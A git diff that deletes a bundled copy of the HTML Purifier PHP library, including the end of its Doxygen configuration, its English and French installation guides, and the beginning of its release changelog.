Doxygen will generate RTF output -# The RTF output is optimized for Word 97 and may not look very pretty with -# other RTF readers or editors. - -GENERATE_RTF = NO - -# The RTF_OUTPUT tag is used to specify where the RTF docs will be put. -# If a relative path is entered the value of OUTPUT_DIRECTORY will be -# put in front of it. If left blank `rtf' will be used as the default path. - -RTF_OUTPUT = rtf - -# If the COMPACT_RTF tag is set to YES Doxygen generates more compact -# RTF documents. This may be useful for small projects and may help to -# save some trees in general. - -COMPACT_RTF = NO - -# If the RTF_HYPERLINKS tag is set to YES, the RTF that is generated -# will contain hyperlink fields. The RTF file will -# contain links (just like the HTML output) instead of page references. -# This makes the output suitable for online browsing using WORD or other -# programs which support those fields. -# Note: wordpad (write) and others do not support links. - -RTF_HYPERLINKS = NO - -# Load stylesheet definitions from file. Syntax is similar to doxygen's -# config file, i.e. a series of assignments. You only have to provide -# replacements, missing definitions are set to their default value. - -RTF_STYLESHEET_FILE = - -# Set optional variables used in the generation of an rtf document. -# Syntax is similar to doxygen's config file. - -RTF_EXTENSIONS_FILE = - -#--------------------------------------------------------------------------- -# configuration options related to the man page output -#--------------------------------------------------------------------------- - -# If the GENERATE_MAN tag is set to YES (the default) Doxygen will -# generate man pages - -GENERATE_MAN = NO - -# The MAN_OUTPUT tag is used to specify where the man pages will be put. -# If a relative path is entered the value of OUTPUT_DIRECTORY will be -# put in front of it. If left blank `man' will be used as the default path. - -MAN_OUTPUT = man - -# The MAN_EXTENSION tag determines the extension that is added to -# the generated man pages (default is the subroutine's section .3) - -MAN_EXTENSION = .3 - -# If the MAN_LINKS tag is set to YES and Doxygen generates man output, -# then it will generate one additional man file for each entity -# documented in the real man page(s). These additional files -# only source the real man page, but without them the man command -# would be unable to find the correct page. The default is NO. - -MAN_LINKS = NO - -#--------------------------------------------------------------------------- -# configuration options related to the XML output -#--------------------------------------------------------------------------- - -# If the GENERATE_XML tag is set to YES Doxygen will -# generate an XML file that captures the structure of -# the code including all documentation. - -GENERATE_XML = NO - -# The XML_OUTPUT tag is used to specify where the XML pages will be put. -# If a relative path is entered the value of OUTPUT_DIRECTORY will be -# put in front of it. If left blank `xml' will be used as the default path. - -XML_OUTPUT = xml - -# The XML_SCHEMA tag can be used to specify an XML schema, -# which can be used by a validating XML parser to check the -# syntax of the XML files. - -XML_SCHEMA = - -# The XML_DTD tag can be used to specify an XML DTD, -# which can be used by a validating XML parser to check the -# syntax of the XML files. - -XML_DTD = - -# If the XML_PROGRAMLISTING tag is set to YES Doxygen will -# dump the program listings (including syntax highlighting -# and cross-referencing information) to the XML output. Note that -# enabling this will significantly increase the size of the XML output. - -XML_PROGRAMLISTING = YES - -#--------------------------------------------------------------------------- -# configuration options for the AutoGen Definitions output -#--------------------------------------------------------------------------- - -# If the GENERATE_AUTOGEN_DEF tag is set to YES Doxygen will -# generate an AutoGen Definitions (see autogen.sf.net) file -# that captures the structure of the code including all -# documentation. Note that this feature is still experimental -# and incomplete at the moment. - -GENERATE_AUTOGEN_DEF = NO - -#--------------------------------------------------------------------------- -# configuration options related to the Perl module output -#--------------------------------------------------------------------------- - -# If the GENERATE_PERLMOD tag is set to YES Doxygen will -# generate a Perl module file that captures the structure of -# the code including all documentation. Note that this -# feature is still experimental and incomplete at the -# moment. - -GENERATE_PERLMOD = NO - -# If the PERLMOD_LATEX tag is set to YES Doxygen will generate -# the necessary Makefile rules, Perl scripts and LaTeX code to be able -# to generate PDF and DVI output from the Perl module output. - -PERLMOD_LATEX = NO - -# If the PERLMOD_PRETTY tag is set to YES the Perl module output will be -# nicely formatted so it can be parsed by a human reader. This is useful -# if you want to understand what is going on. On the other hand, if this -# tag is set to NO the size of the Perl module output will be much smaller -# and Perl will parse it just the same. - -PERLMOD_PRETTY = YES - -# The names of the make variables in the generated doxyrules.make file -# are prefixed with the string contained in PERLMOD_MAKEVAR_PREFIX. -# This is useful so different doxyrules.make files included by the same -# Makefile don't overwrite each other's variables. - -PERLMOD_MAKEVAR_PREFIX = - -#--------------------------------------------------------------------------- -# Configuration options related to the preprocessor -#--------------------------------------------------------------------------- - -# If the ENABLE_PREPROCESSING tag is set to YES (the default) Doxygen will -# evaluate all C-preprocessor directives found in the sources and include -# files. - -ENABLE_PREPROCESSING = YES - -# If the MACRO_EXPANSION tag is set to YES Doxygen will expand all macro -# names in the source code. If set to NO (the default) only conditional -# compilation will be performed. Macro expansion can be done in a controlled -# way by setting EXPAND_ONLY_PREDEF to YES. - -MACRO_EXPANSION = NO - -# If the EXPAND_ONLY_PREDEF and MACRO_EXPANSION tags are both set to YES -# then the macro expansion is limited to the macros specified with the -# PREDEFINED and EXPAND_AS_DEFINED tags. - -EXPAND_ONLY_PREDEF = NO - -# If the SEARCH_INCLUDES tag is set to YES (the default) the includes files -# in the INCLUDE_PATH (see below) will be search if a #include is found. - -SEARCH_INCLUDES = YES - -# The INCLUDE_PATH tag can be used to specify one or more directories that -# contain include files that are not input files but should be processed by -# the preprocessor. - -INCLUDE_PATH = - -# You can use the INCLUDE_FILE_PATTERNS tag to specify one or more wildcard -# patterns (like *.h and *.hpp) to filter out the header-files in the -# directories. If left blank, the patterns specified with FILE_PATTERNS will -# be used. - -INCLUDE_FILE_PATTERNS = - -# The PREDEFINED tag can be used to specify one or more macro names that -# are defined before the preprocessor is started (similar to the -D option of -# gcc). The argument of the tag is a list of macros of the form: name -# or name=definition (no spaces). If the definition and the = are -# omitted =1 is assumed. To prevent a macro definition from being -# undefined via #undef or recursively expanded use the := operator -# instead of the = operator. - -PREDEFINED = - -# If the MACRO_EXPANSION and EXPAND_ONLY_PREDEF tags are set to YES then -# this tag can be used to specify a list of macro names that should be expanded. -# The macro definition that is found in the sources will be used. -# Use the PREDEFINED tag if you want to use a different macro definition. - -EXPAND_AS_DEFINED = - -# If the SKIP_FUNCTION_MACROS tag is set to YES (the default) then -# doxygen's preprocessor will remove all function-like macros that are alone -# on a line, have an all uppercase name, and do not end with a semicolon. Such -# function macros are typically used for boiler-plate code, and will confuse -# the parser if not removed. - -SKIP_FUNCTION_MACROS = YES - -#--------------------------------------------------------------------------- -# Configuration::additions related to external references -#--------------------------------------------------------------------------- - -# The TAGFILES option can be used to specify one or more tagfiles. -# Optionally an initial location of the external documentation -# can be added for each tagfile. The format of a tag file without -# this location is as follows: -# TAGFILES = file1 file2 ... -# Adding location for the tag files is done as follows: -# TAGFILES = file1=loc1 "file2 = loc2" ... -# where "loc1" and "loc2" can be relative or absolute paths or -# URLs. If a location is present for each tag, the installdox tool -# does not have to be run to correct the links. -# Note that each tag file must have a unique name -# (where the name does NOT include the path) -# If a tag file is not located in the directory in which doxygen -# is run, you must also specify the path to the tagfile here. - -TAGFILES = - -# When a file name is specified after GENERATE_TAGFILE, doxygen will create -# a tag file that is based on the input files it reads. - -GENERATE_TAGFILE = - -# If the ALLEXTERNALS tag is set to YES all external classes will be listed -# in the class index. If set to NO only the inherited external classes -# will be listed. - -ALLEXTERNALS = NO - -# If the EXTERNAL_GROUPS tag is set to YES all external groups will be listed -# in the modules index. If set to NO, only the current project's groups will -# be listed. - -EXTERNAL_GROUPS = YES - -# The PERL_PATH should be the absolute path and name of the perl script -# interpreter (i.e. the result of `which perl'). - -PERL_PATH = /usr/bin/perl - -#--------------------------------------------------------------------------- -# Configuration options related to the dot tool -#--------------------------------------------------------------------------- - -# If the CLASS_DIAGRAMS tag is set to YES (the default) Doxygen will -# generate a inheritance diagram (in HTML, RTF and LaTeX) for classes with base -# or super classes. Setting the tag to NO turns the diagrams off. Note that -# this option is superseded by the HAVE_DOT option below. This is only a -# fallback. It is recommended to install and use dot, since it yields more -# powerful graphs. - -CLASS_DIAGRAMS = YES - -# You can define message sequence charts within doxygen comments using the \msc -# command. Doxygen will then run the mscgen tool (see http://www.mcternan.me.uk/mscgen/) to -# produce the chart and insert it in the documentation. The MSCGEN_PATH tag allows you to -# specify the directory where the mscgen tool resides. If left empty the tool is assumed to -# be found in the default search path. - -MSCGEN_PATH = - -# If set to YES, the inheritance and collaboration graphs will hide -# inheritance and usage relations if the target is undocumented -# or is not a class. - -HIDE_UNDOC_RELATIONS = YES - -# If you set the HAVE_DOT tag to YES then doxygen will assume the dot tool is -# available from the path. This tool is part of Graphviz, a graph visualization -# toolkit from AT&T and Lucent Bell Labs. The other options in this section -# have no effect if this option is set to NO (the default) - -HAVE_DOT = NO - -# If the CLASS_GRAPH and HAVE_DOT tags are set to YES then doxygen -# will generate a graph for each documented class showing the direct and -# indirect inheritance relations. Setting this tag to YES will force the -# the CLASS_DIAGRAMS tag to NO. - -CLASS_GRAPH = YES - -# If the COLLABORATION_GRAPH and HAVE_DOT tags are set to YES then doxygen -# will generate a graph for each documented class showing the direct and -# indirect implementation dependencies (inheritance, containment, and -# class references variables) of the class with other documented classes. - -COLLABORATION_GRAPH = YES - -# If the GROUP_GRAPHS and HAVE_DOT tags are set to YES then doxygen -# will generate a graph for groups, showing the direct groups dependencies - -GROUP_GRAPHS = YES - -# If the UML_LOOK tag is set to YES doxygen will generate inheritance and -# collaboration diagrams in a style similar to the OMG's Unified Modeling -# Language. - -UML_LOOK = NO - -# If set to YES, the inheritance and collaboration graphs will show the -# relations between templates and their instances. - -TEMPLATE_RELATIONS = NO - -# If the ENABLE_PREPROCESSING, SEARCH_INCLUDES, INCLUDE_GRAPH, and HAVE_DOT -# tags are set to YES then doxygen will generate a graph for each documented -# file showing the direct and indirect include dependencies of the file with -# other documented files. - -INCLUDE_GRAPH = YES - -# If the ENABLE_PREPROCESSING, SEARCH_INCLUDES, INCLUDED_BY_GRAPH, and -# HAVE_DOT tags are set to YES then doxygen will generate a graph for each -# documented header file showing the documented files that directly or -# indirectly include this file. - -INCLUDED_BY_GRAPH = YES - -# If the CALL_GRAPH, SOURCE_BROWSER and HAVE_DOT tags are set to YES then doxygen will -# generate a call dependency graph for every global function or class method. -# Note that enabling this option will significantly increase the time of a run. -# So in most cases it will be better to enable call graphs for selected -# functions only using the \callgraph command. - -CALL_GRAPH = NO - -# If the CALLER_GRAPH, SOURCE_BROWSER and HAVE_DOT tags are set to YES then doxygen will -# generate a caller dependency graph for every global function or class method. -# Note that enabling this option will significantly increase the time of a run. -# So in most cases it will be better to enable caller graphs for selected -# functions only using the \callergraph command. - -CALLER_GRAPH = NO - -# If the GRAPHICAL_HIERARCHY and HAVE_DOT tags are set to YES then doxygen -# will graphical hierarchy of all classes instead of a textual one. - -GRAPHICAL_HIERARCHY = YES - -# If the DIRECTORY_GRAPH, SHOW_DIRECTORIES and HAVE_DOT tags are set to YES -# then doxygen will show the dependencies a directory has on other directories -# in a graphical way. The dependency relations are determined by the #include -# relations between the files in the directories. - -DIRECTORY_GRAPH = YES - -# The DOT_IMAGE_FORMAT tag can be used to set the image format of the images -# generated by dot. Possible values are png, jpg, or gif -# If left blank png will be used. - -DOT_IMAGE_FORMAT = png - -# The tag DOT_PATH can be used to specify the path where the dot tool can be -# found. If left blank, it is assumed the dot tool can be found in the path. - -DOT_PATH = - -# The DOTFILE_DIRS tag can be used to specify one or more directories that -# contain dot files that are included in the documentation (see the -# \dotfile command). - -DOTFILE_DIRS = - -# The MAX_DOT_GRAPH_MAX_NODES tag can be used to set the maximum number of -# nodes that will be shown in the graph. If the number of nodes in a graph -# becomes larger than this value, doxygen will truncate the graph, which is -# visualized by representing a node as a red box. Note that doxygen if the number -# of direct children of the root node in a graph is already larger than -# MAX_DOT_GRAPH_NOTES then the graph will not be shown at all. Also note -# that the size of a graph can be further restricted by MAX_DOT_GRAPH_DEPTH. - -DOT_GRAPH_MAX_NODES = 50 - -# The MAX_DOT_GRAPH_DEPTH tag can be used to set the maximum depth of the -# graphs generated by dot. A depth value of 3 means that only nodes reachable -# from the root by following a path via at most 3 edges will be shown. Nodes -# that lay further from the root node will be omitted. Note that setting this -# option to 1 or 2 may greatly reduce the computation time needed for large -# code bases. Also note that the size of a graph can be further restricted by -# DOT_GRAPH_MAX_NODES. Using a depth of 0 means no depth restriction. - -MAX_DOT_GRAPH_DEPTH = 1000 - -# Set the DOT_TRANSPARENT tag to YES to generate images with a transparent -# background. This is disabled by default, which results in a white background. -# Warning: Depending on the platform used, enabling this option may lead to -# badly anti-aliased labels on the edges of a graph (i.e. they become hard to -# read). - -DOT_TRANSPARENT = NO - -# Set the DOT_MULTI_TARGETS tag to YES allow dot to generate multiple output -# files in one run (i.e. multiple -o and -T options on the command line). This -# makes dot run faster, but since only newer versions of dot (>1.8.10) -# support this, this feature is disabled by default. - -DOT_MULTI_TARGETS = NO - -# If the GENERATE_LEGEND tag is set to YES (the default) Doxygen will -# generate a legend page explaining the meaning of the various boxes and -# arrows in the dot generated graphs. - -GENERATE_LEGEND = YES - -# If the DOT_CLEANUP tag is set to YES (the default) Doxygen will -# remove the intermediate dot files that are used to generate -# the various graphs. - -DOT_CLEANUP = YES - -#--------------------------------------------------------------------------- -# Configuration::additions related to the search engine -#--------------------------------------------------------------------------- - -# The SEARCHENGINE tag specifies whether or not a search engine should be -# used. If set to NO the values of all tags below this one will be ignored. - -SEARCHENGINE = NO - -# vim: et sw=4 sts=4 diff --git a/classes/security/htmlpurifier/FOCUS b/classes/security/htmlpurifier/FOCUS deleted file mode 100644 index bea619bac..000000000 --- a/classes/security/htmlpurifier/FOCUS +++ /dev/null @@ -1,13 +0,0 @@ -8 - Minor security fixes - -[ Appendix A: Release focus IDs ] -0 - N/A -1 - Initial freshmeat announcement -2 - Documentation -3 - Code cleanup -4 - Minor feature enhancements -5 - Major feature enhancements -6 - Minor bugfixes -7 - Major bugfixes -8 - Minor security fixes -9 - Major security fixes diff --git a/classes/security/htmlpurifier/INSTALL b/classes/security/htmlpurifier/INSTALL deleted file mode 100644 index 677c04aa0..000000000 --- a/classes/security/htmlpurifier/INSTALL +++ /dev/null @@ -1,374 +0,0 @@ - -Install - How to install HTML Purifier - -HTML Purifier is designed to run out of the box, so actually using the -library is extremely easy. (Although... if you were looking for a -step-by-step installation GUI, you've downloaded the wrong software!) - -While the impatient can get going immediately with some of the sample -code at the bottom of this library, it's well worth reading this entire -document--most of the other documentation assumes that you are familiar -with these contents. - - ---------------------------------------------------------------------------- -1. Compatibility - -HTML Purifier is PHP 5 only, and is actively tested from PHP 5.0.5 and -up. It has no core dependencies with other libraries. PHP -4 support was deprecated on December 31, 2007 with HTML Purifier 3.0.0. -HTML Purifier is not compatible with zend.ze1_compatibility_mode. - -These optional extensions can enhance the capabilities of HTML Purifier: - - * iconv : Converts text to and from non-UTF-8 encodings - * bcmath : Used for unit conversion and imagecrash protection - * tidy : Used for pretty-printing HTML - -These optional libraries can enhance the capabilities of HTML Purifier: - - * CSSTidy : Clean CSS stylesheets using %Core.ExtractStyleBlocks - * Net_IDNA2 (PEAR) : IRI support using %Core.EnableIDNA - ---------------------------------------------------------------------------- -2. Reconnaissance - -A big plus of HTML Purifier is its inerrant support of standards, so -your web-pages should be standards-compliant. (They should also use -semantic markup, but that's another issue altogether, one HTML Purifier -cannot fix without reading your mind.) - -HTML Purifier can process these doctypes: - -* XHTML 1.0 Transitional (default) -* XHTML 1.0 Strict -* HTML 4.01 Transitional -* HTML 4.01 Strict -* XHTML 1.1 - -...and these character encodings: - -* UTF-8 (default) -* Any encoding iconv supports (with crippled internationalization support) - -These defaults reflect what my choices would be if I were authoring an -HTML document, however, what you choose depends on the nature of your -codebase. If you don't know what doctype you are using, you can determine -the doctype from this identifier at the top of your source code: - - - -...and the character encoding from this code: - - - -If the character encoding declaration is missing, STOP NOW, and -read 'docs/enduser-utf8.html' (web accessible at -http://htmlpurifier.org/docs/enduser-utf8.html). In fact, even if it is -present, read this document anyway, as many websites specify their -document's character encoding incorrectly. - - ---------------------------------------------------------------------------- -3. Including the library - -The procedure is quite simple: - - require_once '/path/to/library/HTMLPurifier.auto.php'; - -This will setup an autoloader, so the library's files are only included -when you use them. - -Only the contents in the library/ folder are necessary, so you can remove -everything else when using HTML Purifier in a production environment. - -If you installed HTML Purifier via PEAR, all you need to do is: - - require_once 'HTMLPurifier.auto.php'; - -Please note that the usual PEAR practice of including just the classes you -want will not work with HTML Purifier's autoloading scheme. - -Advanced users, read on; other users can skip to section 4. - -Autoload compatibility ----------------------- - - HTML Purifier attempts to be as smart as possible when registering an - autoloader, but there are some cases where you will need to change - your own code to accomodate HTML Purifier. These are those cases: - - PHP VERSION IS LESS THAN 5.1.2, AND YOU'VE DEFINED __autoload - Because spl_autoload_register() doesn't exist in early versions - of PHP 5, HTML Purifier has no way of adding itself to the autoload - stack. Modify your __autoload function to test - HTMLPurifier_Bootstrap::autoload($class) - - For example, suppose your autoload function looks like this: - - function __autoload($class) { - require str_replace('_', '/', $class) . '.php'; - return true; - } - - A modified version with HTML Purifier would look like this: - - function __autoload($class) { - if (HTMLPurifier_Bootstrap::autoload($class)) return true; - require str_replace('_', '/', $class) . '.php'; - return true; - } - - Note that there *is* some custom behavior in our autoloader; the - original autoloader in our example would work for 99% of the time, - but would fail when including language files. - - AN __autoload FUNCTION IS DECLARED AFTER OUR AUTOLOADER IS REGISTERED - spl_autoload_register() has the curious behavior of disabling - the existing __autoload() handler. Users need to explicitly - spl_autoload_register('__autoload'). Because we use SPL when it - is available, __autoload() will ALWAYS be disabled. If __autoload() - is declared before HTML Purifier is loaded, this is not a problem: - HTML Purifier will register the function for you. But if it is - declared afterwards, it will mysteriously not work. This - snippet of code (after your autoloader is defined) will fix it: - - spl_autoload_register('__autoload') - - Users should also be on guard if they use a version of PHP previous - to 5.1.2 without an autoloader--HTML Purifier will define __autoload() - for you, which can collide with an autoloader that was added by *you* - later. - - -For better performance ----------------------- - - Opcode caches, which greatly speed up PHP initialization for scripts - with large amounts of code (HTML Purifier included), don't like - autoloaders. We offer an include file that includes all of HTML Purifier's - files in one go in an opcode cache friendly manner: - - // If /path/to/library isn't already in your include path, uncomment - // the below line: - // require '/path/to/library/HTMLPurifier.path.php'; - - require 'HTMLPurifier.includes.php'; - - Optional components still need to be included--you'll know if you try to - use a feature and you get a class doesn't exists error! The autoloader - can be used in conjunction with this approach to catch classes that are - missing. Simply add this afterwards: - - require 'HTMLPurifier.autoload.php'; - -Standalone version ------------------- - - HTML Purifier has a standalone distribution; you can also generate - a standalone file from the full version by running the script - maintenance/generate-standalone.php . The standalone version has the - benefit of having most of its code in one file, so parsing is much - faster and the library is easier to manage. - - If HTMLPurifier.standalone.php exists in the library directory, you - can use it like this: - - require '/path/to/HTMLPurifier.standalone.php'; - - This is equivalent to including HTMLPurifier.includes.php, except that - the contents of standalone/ will be added to your path. To override this - behavior, specify a new HTMLPURIFIER_PREFIX where standalone files can - be found (usually, this will be one directory up, the "true" library - directory in full distributions). Don't forget to set your path too! - - The autoloader can be added to the end to ensure the classes are - loaded when necessary; otherwise you can manually include them. - To use the autoloader, use this: - - require 'HTMLPurifier.autoload.php'; - -For advanced users ------------------- - - HTMLPurifier.auto.php performs a number of operations that can be done - individually. These are: - - HTMLPurifier.path.php - Puts /path/to/library in the include path. For high performance, - this should be done in php.ini. - - HTMLPurifier.autoload.php - Registers our autoload handler HTMLPurifier_Bootstrap::autoload($class). - - You can do these operations by yourself--in fact, you must modify your own - autoload handler if you are using a version of PHP earlier than PHP 5.1.2 - (See "Autoload compatibility" above). - - ---------------------------------------------------------------------------- -4. Configuration - -HTML Purifier is designed to run out-of-the-box, but occasionally HTML -Purifier needs to be told what to do. If you answer no to any of these -questions, read on; otherwise, you can skip to the next section (or, if you're -into configuring things just for the heck of it, skip to 4.3). - -* Am I using UTF-8? -* Am I using XHTML 1.0 Transitional? - -If you answered no to any of these questions, instantiate a configuration -object and read on: - - $config = HTMLPurifier_Config::createDefault(); - - -4.1. Setting a different character encoding - -You really shouldn't use any other encoding except UTF-8, especially if you -plan to support multilingual websites (read section three for more details). -However, switching to UTF-8 is not always immediately feasible, so we can -adapt. - -HTML Purifier uses iconv to support other character encodings, as such, -any encoding that iconv supports -HTML Purifier supports with this code: - - $config->set('Core.Encoding', /* put your encoding here */); - -An example usage for Latin-1 websites (the most common encoding for English -websites): - - $config->set('Core.Encoding', 'ISO-8859-1'); - -Note that HTML Purifier's support for non-Unicode encodings is crippled by the -fact that any character not supported by that encoding will be silently -dropped, EVEN if it is ampersand escaped. If you want to work around -this, you are welcome to read docs/enduser-utf8.html for a fix, -but please be cognizant of the issues the "solution" creates (for this -reason, I do not include the solution in this document). - - -4.2. Setting a different doctype - -For those of you using HTML 4.01 Transitional, you can disable -XHTML output like this: - - $config->set('HTML.Doctype', 'HTML 4.01 Transitional'); - -Other supported doctypes include: - - * HTML 4.01 Strict - * HTML 4.01 Transitional - * XHTML 1.0 Strict - * XHTML 1.0 Transitional - * XHTML 1.1 - - -4.3. Other settings - -There are more configuration directives which can be read about -here: They're a bit boring, -but they can help out for those of you who like to exert maximum control over -your code. Some of the more interesting ones are configurable at the -demo and are well worth looking into -for your own system. - -For example, you can fine tune allowed elements and attributes, convert -relative URLs to absolute ones, and even autoparagraph input text! These -are, respectively, %HTML.Allowed, %URI.MakeAbsolute and %URI.Base, and -%AutoFormat.AutoParagraph. The %Namespace.Directive naming convention -translates to: - - $config->set('Namespace.Directive', $value); - -E.g. - - $config->set('HTML.Allowed', 'p,b,a[href],i'); - $config->set('URI.Base', 'http://www.example.com'); - $config->set('URI.MakeAbsolute', true); - $config->set('AutoFormat.AutoParagraph', true); - - ---------------------------------------------------------------------------- -5. Caching - -HTML Purifier generates some cache files (generally one or two) to speed up -its execution. For maximum performance, make sure that -library/HTMLPurifier/DefinitionCache/Serializer is writeable by the webserver. - -If you are in the library/ folder of HTML Purifier, you can set the -appropriate permissions using: - - chmod -R 0755 HTMLPurifier/DefinitionCache/Serializer - -If the above command doesn't work, you may need to assign write permissions -to all. This may be necessary if your webserver runs as nobody, but is -not recommended since it means any other user can write files in the -directory. Use: - - chmod -R 0777 HTMLPurifier/DefinitionCache/Serializer - -You can also chmod files via your FTP client; this option -is usually accessible by right clicking the corresponding directory and -then selecting "chmod" or "file permissions". - -Starting with 2.0.1, HTML Purifier will generate friendly error messages -that will tell you exactly what you have to chmod the directory to, if in doubt, -follow its advice. - -If you are unable or unwilling to give write permissions to the cache -directory, you can either disable the cache (and suffer a performance -hit): - - $config->set('Core.DefinitionCache', null); - -Or move the cache directory somewhere else (no trailing slash): - - $config->set('Cache.SerializerPath', '/home/user/absolute/path'); - - ---------------------------------------------------------------------------- -6. Using the code - -The interface is mind-numbingly simple: - - $purifier = new HTMLPurifier($config); - $clean_html = $purifier->purify( $dirty_html ); - -That's it! For more examples, check out docs/examples/ (they aren't very -different though). Also, docs/enduser-slow.html gives advice on what to -do if HTML Purifier is slowing down your application. - - ---------------------------------------------------------------------------- -7. Quick install - -First, make sure library/HTMLPurifier/DefinitionCache/Serializer is -writable by the webserver (see Section 5: Caching above for details). -If your website is in UTF-8 and XHTML Transitional, use this code: - -purify($dirty_html); -?> - -If your website is in a different encoding or doctype, use this code: - -set('Core.Encoding', 'ISO-8859-1'); // replace with your encoding - $config->set('HTML.Doctype', 'HTML 4.01 Transitional'); // replace with your doctype - $purifier = new HTMLPurifier($config); - - $clean_html = $purifier->purify($dirty_html); -?> - - vim: et sw=4 sts=4 diff --git a/classes/security/htmlpurifier/INSTALL.fr.utf8 b/classes/security/htmlpurifier/INSTALL.fr.utf8 deleted file mode 100644 index 9c533853b..000000000 --- a/classes/security/htmlpurifier/INSTALL.fr.utf8 +++ /dev/null @@ -1,69 +0,0 @@ - -Installation - Comment installer HTML Purifier - -Attention: Ce document a encode en UTF-8. Si les lettres avec les accents -est essoreuse, prenez un mieux editeur de texte. - -À L'Aide: Je ne suis pas un diseur natif de français. Si vous trouvez une -erreur dans ce document, racontez-moi! Merci. - - -L'installation de HTML Purifier est trés simple, parce qu'il ne doit pas -la configuration. Dans le pied de de document, les utilisateurs -impatient peuvent trouver le code, mais je recommande que vous lisez -ce document pour quelques choses. - - -1. Compatibilité - -HTML Purifier fonctionne dans PHP 5. PHP 5.0.5 est le dernier -version que je le testais. Il ne dépend de les autre librairies. - -Les extensions optionnel est iconv (en général déjà installer) et -tidy (répandu aussi). Si vous utilisez UTF-8 et ne voulez pas -l'indentation, vous pouvez utiliser HTML Purifier sans ces extensions. - - -2. Inclure la librarie - -Utilisez: - - require_once '/path/to/library/HTMLPurifier.auto.php'; - -...quand vous devez utiliser HTML Purifier (ne inclure pas quand vous -ne devez pas, parce que HTML Purifier est trés grand.) - -HTML Purifier utilise 'autoload'. Si vous avez définu la fonction -__autoload, vous doivez ajoute cet programme: - - spl_autoload_register('__autoload') - -Plus d'information est dans le document 'INSTALL'. - - -3. Installation vite - -Si votre site web est en UTF-8 et XHTML Transitional, utilisez: - -purify($html_salle); -?> - -Sinon, utilisez: - -set('Core', 'Encoding', 'ISO-8859-1'); //remplacez avec votre encoding - $config->set('Core', 'XHTML', true); //remplacez avec false si HTML 4.01 - $purificateur = new HTMLPurifier($config); - - $html_propre = $purificateur->purify($html_salle); -?> - - vim: et sw=4 sts=4 diff --git a/classes/security/htmlpurifier/NEWS b/classes/security/htmlpurifier/NEWS deleted file mode 100644 index e8a07a979..000000000 --- a/classes/security/htmlpurifier/NEWS +++ /dev/null @@ -1,1032 +0,0 @@ -NEWS ( CHANGELOG and HISTORY ) HTMLPurifier -||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||| - -= KEY ==================== - # Breaks back-compat - ! Feature - - Bugfix - + Sub-comment - . Internal change -========================== - -4.4.0, released 2012-01-18 -# Removed PEARSax3 handler. -# URI.Munge now munges URIs inside the same host that go from https - to http. Reported by Neike Taika-Tessaro. -# Core.EscapeNonASCIICharacters now always transforms entities to - entities, even if target encoding is UTF-8. -# Tighten up selector validation in ExtractStyleBlocks. - Non-syntactically valid selectors are now rejected, along with - some of the more obscure ones such as attribute selectors, the - :lang pseudoselector, and anything not in CSS2.1. Furthermore, - ID and class selectors now work properly with the relevant - configuration attributes. Also, mute errors when parsing CSS - with CSS Tidy. -! Added support for 'scope' attribute on tables. -! Added %HTML.TargetBlank, which adds target="blank" to all outgoing links. -! Properly handle sub-lists directly nested inside of lists in - a standards compliant way, by moving them into the preceding
  • -! Added %HTML.AllowedComments and %HTML.AllowedCommentsRegexp for - limited allowed comments in untrusted situations. -! Implement iframes, and allow them to be used in untrusted mode with - %HTML.SafeIframe and %URI.SafeIframeRegexp. Thanks Bradley M. Froehle - for submitting an initial version of the patch. -! The Forms module now works properly for transitional doctypes. -! Added support for internationalized domain names. You need the PEAR - Net_IDNA2 module to be in your path; if it is installed, ensure the - class can be loaded and then set %Core.EnableIDNA to true. -- Color keywords are now case insensitive. Thanks Yzmir Ramirez - for reporting. -- Explicitly initialize anonModule variable to null. -- Do not duplicate nofollow if already present. Thanks 178 - for reporting. -- Do not add nofollow if hostname matches our current host. Thanks 178 - for reporting, and Neike Taika-Tessaro for helping diagnose. -- Do not unset parser variable; this fixes intermittent serialization - problems. Thanks Neike Taika-Tessaro for reporting, bill - <10010tiger@gmail.com> for diagnosing. -- Fix iconv truncation bug, where non-UTF-8 target encodings see - output truncated after around 8000 characters. Thanks Jörg Ludwig - for reporting. -- Fix broken table content model for XHTML1.1 (and also earlier - versions, although the W3C validator doesn't catch those violations). - Thanks GlitchMr for reporting. - -4.3.0, released 2011-03-27 -# Fixed broken caching of customized raw definitions, but requires an - API change. The old API still works but will emit a warning, - see http://htmlpurifier.org/docs/enduser-customize.html#optimized - for how to upgrade your code. -# Protect against Internet Explorer innerHTML behavior by specially - treating attributes with backticks but no angled brackets, quotes or - spaces. This constitutes a slight semantic change, which can be - reverted using %Output.FixInnerHTML. Reported by Neike Taika-Tessaro - and Mario Heiderich. -# Protect against cssText/innerHTML by restricting allowed characters - used in fonts further than mandated by the specification and encoding - some extra special characters in URLs. Reported by Neike - Taika-Tessaro and Mario Heiderich. -! Added %HTML.Nofollow to add rel="nofollow" to external links. -! More types of SPL autoloaders allowed on later versions of PHP. -! Implementations for position, top, left, right, bottom, z-index - when %CSS.Trusted is on. -! Add %Cache.SerializerPermissions option for custom serializer - directory/file permissions -! Fix longstanding bug in Flash support for non-IE browsers, and - allow more wmode attributes. -! Add %CSS.AllowedFonts to restrict permissible font names. -- Switch to an iterative traversal of the DOM, which prevents us - from running out of stack space for deeply nested documents. - Thanks Maxim Krizhanovsky for contributing a patch. -- Make removal of conditional IE comments ungreedy; thanks Bernd - for reporting. -- Escape CDATA before removing Internet Explorer comments. -- Fix removal of id attributes under certain conditions by ensuring - armor attributes are preserved when recreating tags. -- Check if schema.ser was corrupted. -- Check if zend.ze1_compatibility_mode is on, and error out if it is. - This safety check is only done for HTMLPurifier.auto.php; if you - are using standalone or the specialized includes files, you're - expected to know what you're doing. -- Stop repeatedly writing the cache file after I'm done customizing a - raw definition. Reported by ajh. -- Switch to using require_once in the Bootstrap to work around bad - interaction with Zend Debugger and APC. Reported by Antonio Parraga. -- Fix URI handling when hostname is missing but scheme is present. - Reported by Neike Taika-Tessaro. -- Fix missing numeric entities on DirectLex; thanks Neike Taika-Tessaro - for reporting. -- Fix harmless notice from indexing into empty string. Thanks Matthijs - Kooijman for reporting. -- Don't autoclose no parent elements are able to support the element - that triggered the autoclose. In particular fixes strange behavior - of stray
